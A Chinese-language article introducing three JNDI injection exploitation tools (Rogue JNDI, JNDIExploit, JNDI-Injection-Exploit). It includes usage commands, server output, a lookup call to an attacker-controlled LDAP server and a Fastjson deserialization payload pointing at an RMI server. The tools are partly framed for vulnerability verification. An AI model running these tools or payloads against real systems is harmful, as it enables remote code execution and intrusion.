本文介绍三种JNDI注入辅助工具(偷懒工具)
一、Rogue JNDI
简介
用于JNDI注入攻击的恶意LDAP服务器。
项目地址:https://github.com/veracode-research/rogue-jndi
该项目包含LDAP和HTTP服务器,用于利用默认情况下不安全的Java JNDI API。 为了进行攻击,您可以在本地启动这些服务器,然后在易受攻击的客户端上触发JNDI解析,例如:
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");
它将启动从易受攻击的客户端到本地LDAP服务器的连接。然后,本地服务器使用包含有效载荷之一的恶意条目进行响应,这对于实现远程代码执行很有用。
除了已知的JNDI攻击方法(通过引用中的远程类加载)之外,此工具还利用ObjectFactories的功能带来了新的攻击媒介。
(注:该工具需要自行编译)
二、JNDIExploit
项目地址:https://github.com/feihong-cs/JNDIExploit/tree/v.1.11
简介
一款用于 JNDI注入利用的工具,大量参考/引用了Rogue JNDI项目的代码,支持直接植入内存shell,并集成了常见的bypass 高版本JDK的方式,适用于与自动化工具配合使用。
使用
使用 java -jar JNDIExploit.jar -h
查看参数说明,其中 --ip
参数为必选参数
Usage: java -jar JNDIExploit.jar [options]
Options:
* -i, --ip Local ip address
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8080)
-u, --usage Show usage (default: false)
-h, --help Show this help
例子:
java -jar JNDIExploit-v1.11.jar -i 192.168.1.72
如下,执行后自动启动LDAP服务和HTTP服务
root@dream2:/root/JNDIExploit # java -jar JNDIExploit-v1.11.jar -i 192.168.1.72
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8080...
三、JNDI-Injection-Exploit
项目地址:https://github.com/welk1n/JNDI-Injection-Exploit
简介
JNDI-Injection-Exploit是用于生成可用的JNDI链接并通过启动RMI服务器,LDAP服务器和HTTP服务器提供后台服务的工具。 RMI服务器和LDAP服务器基于marshals,并进行了进一步修改以与HTTP服务器链接。
JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可用于Fastjson、Jackson等相关漏洞的验证。
使用此工具可以获取JNDI链接,可以将这些链接插入POC以测试漏洞。
实例
如下是一个Fastjson vul-poc:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}